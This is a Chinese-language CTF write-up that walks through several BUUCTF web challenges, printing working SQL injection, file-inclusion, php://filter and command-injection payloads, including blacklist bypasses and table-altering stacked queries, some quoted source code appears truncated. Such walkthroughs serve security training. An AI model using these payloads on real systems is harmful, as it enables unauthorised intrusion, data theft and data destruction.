BUUWeb通关1

 【HCTF 2018】WarmUp 

知识点:文件包含漏洞(phpmyadmin 4.8.1任意文件包含)

题目分析

ctrl+shift+i 查看网页源代码,发现提示 source.php

1
<!--source.php-->

url 打开source.php 文件。发现hint.php 文件

image-20210614131217227

打开 http://af382c6e-72dc-485e-86c3-df8ac4429272.node3.buuoj.cn/?file=hint.php

1
flag not here, and flag in ffffllllaaaagggg

得到flag应该存在于 ffffllllaaaagggg文件中

查看 source.php 源代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

发现只有

1
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];

才能通过,但发现截取有问题

1
2
3
4
5
$_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );

在source.php?后加一个/,这时 source.php会被视为一个文件夹,后面每一级的 .. 意为上一层文件夹,通过不断尝试加入../最后可以知道具体的目录层级,以访问到ffffllllaaaagggg。

随即构造

http://af382c6e-72dc-485e-86c3-df8ac4429272.node3.buuoj.cn?file=hint.php?/../../../../ffffllllaaaagggg

flag{8f6dc82a-3d07-41ca-a3af-55b2f99bc31b}

【极客大挑战 2019】EasySQL

知识点:SQL注入,构造闭合,万能密码

题目分析

简单的SQL注入,使用万能密码,构造闭合。

image-20210614125058820

打开hackbar,进行 get注入,尝试构造闭合 1',SQL报错说明存在注入漏洞:

image20210613170513940.png

解法一:构造闭合 :

1
http://58020c29-22e8-4468-adc5-fca72513e89d.node3.buuoj.cn/check.php?username=1' union select 1,2,database() %23 &password=1

解法二:使用万能密码构造闭合:

1
http://58020c29-22e8-4468-adc5-fca72513e89d.node3.buuoj.cn/check.php?username=1' or '1'='1 &password=1' or '1'='1

【极客大挑战 2019】Havefun

知识点:PHP代码审计

题目分析

F12查看源码,会看到:

1
2
3
4
5
6
7
<!--
        $cat=$_GET['cat'];
        echo $cat;
        if($cat=='dog'){
            echo 'Syc{cat_cat_cat_cat}';
        }
        -->

直接在url 中加入参数:?cat=dog 即可得到flag

1
http://7730091d-d625-459b-8ff3-f0136260e6db.node3.buuoj.cn/?cat=dog

flag{49f8ed07-a083-40c0-8f3f-a5eafe70ad32}

【强网杯 2019】随便注

知识点:SQL注入--堆叠注入

题目分析

  1. 输入 1' # 回显正常

  2. 判断字段长度:1' order by 3#

发生报错:error 1054 : Unknown column '3' in 'order clause'

  1. 使用union注入:1' union select 1,database()#

回显过滤了关键字("/select|update|delete|drop|insert|where|./i",$inject);

  1. 使用 extractvalue() 报错注入查询数据库信息

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    
    用户名
    1' and (extractvalue(1,concat(0x7e,user(),0x7e)));#
    error 1105 : XPATH syntax error: '~root@localhost~'
    
    数据库
    
    1' and (extractvalue(1,concat(0x7e,database(),0x7e)));#
    error 1105 : XPATH syntax error: '~supersqli~'
    
    版本
    1' and (extractvalue(1,concat(0x7e,version(),0x7e)));#
    error 1105 : XPATH syntax error: '~10.3.15-MariaDB~'
    
  2. 使用堆叠注入:'; show databases;#

查询到所有的数据库

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
array(1) {
  [0]=>
  string(11) "ctftraining"
}

array(1) {
  [0]=>
  string(18) "information_schema"
}

array(1) {
  [0]=>
  string(5) "mysql"
}

array(1) {
  [0]=>
  string(18) "performance_schema"
}

array(1) {
  [0]=>
  string(9) "supersqli"
}

array(1) {
  [0]=>
  string(4) "test"
}
  1. 查询当前数据库的表名:1'; show tables;#
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}

  1. 查询表words 和 1919810931114514 的字段名:
1
2
3
4
1'; show columns from words ;#

#当表名为数字时需要用 反引号 `` 包起来查询
1'; show columns from `1919810931114514` ;#

其他注入方法:

1
2
3
4
# desc table_name 
#可以用来查看表结构详细信息,此处desc是describe的缩写

'; desc `1919810931114514` ;#

在表 '1919810931114514' 查询到 flag字段

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

因为select 关键字被过滤了,所有这里可以采用以下方法:

方法一:预处理(将 payload 构造成 16 进制)

预编译相关语法:

1
2
3
4
set @var_name = expr [, @var_name = expr] ...              用于设置变量名和值
PREPARE stmt_name FROM preparable_stmt;      用于预备一个语句,并赋予名称,以后可以引用该语句
EXECUTE stmt_name [USING @var_name [, @var_name] ...];	   执行语句
{DEALLOCATE | DROP} PREPARE stmt_name;	                   用来释放掉预处理的语句

payload:

1
2
3
4
5
'; SET @A = concat('se','lect * from `1919810931114514` ;') ; prepare stmt from @A ; execute stmt; #

# 编码成16进制绕过
'; SET @A = 0x73656c656374202a2066726f6d206031393139383130393331313134353134603b ; prepare stmt from @A ; execute stmt; #

方法二:使用 alter关键字修改表名、字段名

alter语法:

1
2
3
4
5
修改表名(将表名user改为users)
alter table user rename to users;

修改列名(将字段名username改为name)
alter table users change uesrname name varchar(30);

payload:

1
2
3
4
5
6
7
alter table words rename to word1;
alter table `1919810931114514` rename to word;
alter table words change flag id varchar(50);

# 合并payload
';alter table words rename to word1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);

然后再执行 1' or 1=1 # 即可得到flag

方法三:使用 handler 查询语句

handler 语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。

handler 语法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
HANDLER tbl_name OPEN [ [AS] alias]
 
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]
 
HANDLER tbl_name CLOSE

payload:

1
2
3
4
5
6
1'; handler `1919810931114514` open as `a`; handler `a` read first;#

#或
1'; handler `1919810931114514` open; handler `1919810931114514` read first;#

#以上都能得到flag,还可以根据handler语法进行变换。

【SUCTF 2019】EasySQL

知识点:SQL注入--堆叠注入

题目分析

通过字典进行 Fuzzing 测试,发现一堆关键字被 WAF 过滤了。

image-20210615152835773

image-20210615153239240

测试出这里通过堆叠注入可以:

使用 Burp 或者 Live HTTP headers 抓包:

post参数重放攻击:

  1. 获取库名:query=1;show databases#
1
Array ( [0] => 1 ) Array ( [0] => ctf ) Array ( [0] => ctftraining ) Array ( [0] => information_schema ) Array ( [0] => mysql ) Array ( [0] => performance_schema ) Array ( [0] => test ) 
  1. 获取表名:query=1; show tables#
Array ( [0] => 1 ) Array ( [0] => Flag ) 

flag 是放在 Flag表中的,但是查询关键字都被过滤了。

一、非预期解:输入 *,1 就查询出flag了,出题人忘记过滤 * 了

通过

1
$sql = "select ".$post['query']."||flag from Flag";

输入 *,1 的话,数据库查询语句为:

$sql = "select *,1||flag from Flag";

即 select *,1 from Flag 就能查询出 flag

网上说能扫出数据库,手法暂时不会,下面是源码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
    session_start();
    include_once "config.php";
    $post = array();
    $get = array();
    global $MysqlLink;
    //GetPara();
    $MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
    if(!$MysqlLink){
        die("Mysql Connect Error!");
    }
    $selectDB = mysqli_select_db($MysqlLink,$dataName);
    if(!$selectDB){
        die("Choose Database Error!");
    }
 
    foreach ($_POST as $k=>$v){
        if(!empty($v)&&is_string($v)){
            $post[$k] = trim(addslashes($v));
        }
    }
    foreach ($_GET as $k=>$v){
        }
    }
    //die();
    ?>
 
<html>
<head>
</head>
<body>
<a> Give me your flag, I will tell you if the flag is right. </ a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>
<?php
    if(isset($post['query'])){
        $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|"";
        //var_dump(preg_match("/{$BlackList}/is",$post['query']));
        if(preg_match("/{$BlackList}/is",$post['query'])){
            //echo $post['query'];
            die("Nonono.");
        }
        if(strlen($post['query'])>40){
            die("Too long.");
        }
        $sql = "select ".$post['query']."||flag from Flag";
        mysqli_multi_query($MysqlLink,$sql);
        do{
            if($res = mysqli_store_result($MysqlLink)){
                while($row = mysqli_fetch_row($res)){
                    print_r($row);
                }
            }
        }while(@mysqli_next_result($MysqlLink));
    }
    ?>

二、预期解:

在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。需要调整mysql 的 sql_mode 模式:pipes_as_concat 来实现oracle 的一些功能

1
1;set sql_mode=PIPES_AS_CONCAT;select 1

【ACTF2020 新生赛】Include

知识点:php 伪协议利用

php伪协议,事实上是其支持的协议与封装协议。而其支持的协议有:

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

这里考的是 php:// 协议

  • 条件

    • allow_url_fopen:off/on
    • allow_url_include :仅php://input php://stdin php://memory php://temp 需要on
  • 作用php:// 访问各个输入/输出流(I/O streams),

    在CTF中经常使用的是 php://filterphp://input

    php://filter用于 读取源码,php://input 用于执行php代码

  • 说明: PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。

    协议 作用
    php://input 可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分,在enctype="multipart/form-data" 的时候php://input 是无效的。
    php://output 只写的数据流,允许以 print 和 echo 一样的方式写入到输出缓冲区。
    php://fd (>=5.3.6)允许直接访问指定的文件描述符。例如 php://fd/3 引用了文件描述符 3。
    php://memory php://temp (>=5.1.0)一个类似文件包装器的数据流,允许读写临时数据。两者的唯一区别是 php://memory 总是把数据储存在内存中,而 php://temp 会在内存量达到预定义的限制后(默认是 2MB)存入临时文件中。临时文件位置的决定和 sys_get_temp_dir() 的方式一致。
    php://filter (>=5.0.0)一种元封装器,设计用于数据流打开时的筛选过滤应用。对于一体式(all-in-one)的文件函数非常有用,类似 readfile()file()file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。
  • php://filter参数详解

    该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递。具体参考如下:

    php://filter 参数 描述
    resource=<要过滤的数据流> 必须项。它指定了你要筛选过滤的数据流。
    read=<读链的过滤器> 可选项。可以设定一个或多个过滤器名称,以管道符(* \ *)分隔。
    write=<写链的过滤器> 可选项。可以设定一个或多个过滤器名称,以管道符 ( \ )分隔。
    <; 两个链的过滤器> 任何没有以 read=write= 作前缀的筛选器列表会视情况应用于读或写链。
  • 可用的过滤器列表(4类)

    此处列举主要的过滤器类型,详细内容请参考:https://www.php.net/manual/zh/filters.php

    字符串过滤器 作用
    string.rot13 等同于str_rot13(),rot13变换
    string.toupper 等同于strtoupper(),转大写字母
    string.tolower 等同于strtolower(),转小写字母
    string.strip_tags 等同于strip_tags(),去除html、PHP语言标签
    转换过滤器 作用
    convert.base64-encode & convert.base64-decode 等同于base64_encode()base64_decode(),base64编码解码
    convert.quoted-printable-encode & convert.quoted-printable-decode quoted-printable 字符串与 8-bit 字符串编码解码
    压缩过滤器 作用
    zlib.deflate & zlib.inflate 在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。
    bzip2.compress & bzip2.decompress 同上,在本地文件系统中创建 bz2 兼容文件的方法。
    加密过滤器 作用
    mcrypt.* libmcrypt 对称加密算法
    mdecrypt.* libmcrypt 对称解密算法

示例

1
php://filter/read=convert.base64-encode/resource=[文件名]

读取文件源码(针对php文件需要base64编码)

题目分析

查看网页源码发现:

image-20210615193903774

1
<a href="?file=flag.php">tips</a>

有一份 flag.php 文件,

1
http://4189d5fb-45f5-45c1-85d3-c1b320a8e58f.node3.buuoj.cn/?file=flag.php

打开后得到:

Can you find out the flag?

从源码中查找信息未果,尝试 php://input,得到 input 被过滤了。

1
http://4189d5fb-45f5-45c1-85d3-c1b320a8e58f.node3.buuoj.cn/?file=php://input

得到:hacker!

尝试 php://filter/read=convert.base64-encode/resource=flag.php 读取源码信息:

1
http://4189d5fb-45f5-45c1-85d3-c1b320a8e58f.node3.buuoj.cn/?file=php://filter/read=convert.base64-encode/resource=flag.php

得到base64加密结果:

1
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7MjNlNGNhN2QtYWYyMS00ZGUzLTgzYWQtMjY4MzMyNDY2ZjE0fQo=

解密得到:

1
2
3
<?php
echo "Can you find out the flag?";
//flag{23e4ca7d-af21-4de3-83ad-268332466f14}

【极客大挑战 2019】Secret File

知识点:php://伪协议

题目分析

查看网页源代码,发现有一份 php 文件夹

image-20210616115120754

打开后得到下面的图,查看存放的 secret 文件,但没有结果。查看源代码也没特别的信息。

image-20210616115218415

image-20210616115302503

用BURP抓包分析,获取到 secr3t.php 文件。

image-20210616115518966

执行查询 secr3t.php文件

1
http://db1821a0-0845-47a0-8331-d23efdf7789d.node3.buuoj.cn/secr3t.php
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

得到 flag.php 文件,查看源码也没有信息

image-20210616120105222

审计上面的php代码,发现这里存在 文件包含 ,且过滤了关键字 "../" ,"input","data","tp",但没有过滤 "filter "

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
1
利用php://filter/read=convert.base64-encode/resource=[文件名] 获取文件源码
1
http://db1821a0-0845-47a0-8331-d23efdf7789d.node3.buuoj.cn/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

得到base64加密的文件:

PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7YWVjMzA3YTQtOGI3ZS00YzVkLWI0YmQtNGQ3NjM2ZmRhOGRmfSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=

解码得到:

<!DOCTYPE html>

<html>

    <head>
        <meta charset="utf-8">
        <title>FLAG</title>
    </head>

    <body style="background-color:black;"><br><br><br><br><br><br>
        
        <h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>
        
        <p style="font-family:arial;color:red;font-size:20px;text-align:center;">
            <?php
                echo "我就在这里";
                $flag = 'flag{aec307a4-8b7e-4c5d-b4bd-4d7636fda8df}';
                $secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
            ?>
        </p>
    </body>

</html>

【ACTF2020 新生赛】Exec

知识点:命令执行

题目分析

输入本地ip 127.0.0.1 查看回显

PING 127.0.0.1 (127.0.0.1): 56 data bytes

输入 127.0.0.1 | ls 查看

index.php

测试 127.0.0.1 | ls / 查看上级目录

bin
dev
etc
flag
home
lib
media
mnt
opt
proc
root
run
sbin
srv

直接 127.0.0.1 | cat /flag

flag{51b10547-21c0-44fa-af89-e4c0f6fd3b96}

【极客大挑战 2019】LoveSQL

知识点:SQL注入,构造闭合,万能密码

题目分析

尝试使用万能密码:

http://a26fac72-af79-450e-b512-f6c817dd9e4f.node3.buuoj.cn/check.php?username=1' or '1'='1 &password=1' or '1'='1

回显登录成功,但并没有拿到flag,继续注入

image-20210616132723578

判断字段数:

http://a26fac72-af79-450e-b512-f6c817dd9e4f.node3.buuoj.cn/check.php?username=1' order by 4 %23&password=1' or '1'='1

image-20210616132859954

union注入查询:

1
http://a26fac72-af79-450e-b512-f6c817dd9e4f.node3.buuoj.cn/check.php?username=1' union select 1,2,3 %23&password=1' or '1'='1

回显成功:

image-20210616133002729

查询数据库名:

1
http://a26fac72-af79-450e-b512-f6c817dd9e4f.node3.buuoj.cn/check.php?username=1' union select 1,2,database() %23&password=1' or '1'='1

image-20210616133059398

查询表名、字段名:

1
2
3
4
5
6
7
http://a26fac72-af79-450e-b512-f6c817dd9e4f.node3.buuoj.cn/check.php?username=1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())  %23&password=1' or '1'='1

#表名: Your password is 'geekuser,l0ve1ysq1'

http://a26fac72-af79-450e-b512-f6c817dd9e4f.node3.buuoj.cn/check.php?username=1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='geekuser')  %23&password=1' or '1'='1
# geekuser、l0ve1ysq1表 字段:id,username,password

查询geekuser、l0ve1ysq1表 的字段内容:

1
http://a26fac72-af79-450e-b512-f6c817dd9e4f.node3.buuoj.cn/check.php?username=1' union select 1,2,(select group_concat(concat_ws(0x7e,username,password)) from geek.l0ve1ysq1)  %23&password=1' or '1'='1

拿到flag:

1
flag{175027e1-1326-4d42-9515-1e4c0cd5d521}

【GXYCTF2019】Ping Ping Ping

知识点:命令执行

绕过空格的方法大概有以下几种:

1
2
3
4
5
6
7
8
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
< 
<> 
{cat,flag.php}  //用逗号实现了空格功能
%20 
%09 
1
2
3
ps:有时会禁用cat:
解决方法是使用tac反向输出命令
linux命令中可以加\所以甚至可以ca\t /fl\ag

黑名单绕过

1
2
3
4
5
a=l;b=s;$a$b                 //变量拼接
echo "bHM=" | base64 -d      //base64编码
/?in/?s => /bin/ls
cat /etc/pass'w'd           //连接符
cat$x /etc/passwd           //未定义的初始化变量 

题目分析

命令执行注入:

1
http://7c978af9-6d67-47d4-9b75-3086293f8b18.node3.buuoj.cn/?ip=127.0.0.1||ls

发现 flag.php 文件夹

1
2
3
4
/?ip=
PING 127.0.0.1 (127.0.0.1): 56 data bytes
flag.php
index.php

拿flag:

1
http://7c978af9-6d67-47d4-9b75-3086293f8b18.node3.buuoj.cn/?ip=127.0.0.1||cat /flag.php

/?ip= 1fxck your symbol!报错提示:空格被过滤了

尝试了各种空格绕过都不行,先去看一下index.php文件:

http://7c978af9-6d67-47d4-9b75-3086293f8b18.node3.buuoj.cn/?ip=127.0.0.1||cat$IFS$1index.php
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
/?ip=

PING 127.0.0.1 (127.0.0.1): 56 data bytes
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "

";
  print_r($a);
}

?>

过滤了许多标点,空格,bash,包括flag的贪婪匹配。

解决方法:

方法一:黑名单绕过:变量拼接

我们看到源码中有一个$a变量可以覆盖,黑名单绕过

1
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

查看源代码,拿到FLAG:

1
flag{6af78fe9-897f-442a-924a-d9fa2dab6f73}

方法二:黑名单绕过:base64,sh脚本

bash被过滤了?那就用sh。sh的大部分脚本都可以在bash下运行。

1
2
3
# echo "bHM=" | base64 -d
# 将 cat flag.php 进行base64编码
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

查看源码,拿到flag

方法三:内联执行``

linux下反引号``里面包含的就是需要执行的系统命令,而反引号里面的系统命令会先执行,成功执行后将结果传递给调用它的命令,将反引号内命令的输出作为输入执行。

因为 ls 命令能够拿到目录下的文件:

1
http://7c978af9-6d67-47d4-9b75-3086293f8b18.node3.buuoj.cn/?ip=127.0.0.1||ls

flag.php index.php

所以使用内联执行,flag.php 会被作为输入执行,以获取 flag.

http://7c978af9-6d67-47d4-9b75-3086293f8b18.node3.buuoj.cn/?ip=127.0.0.1;cat$IFS$1`ls`

查看网页源代码,拿到flag。

updatedupdated2022-06-032022-06-03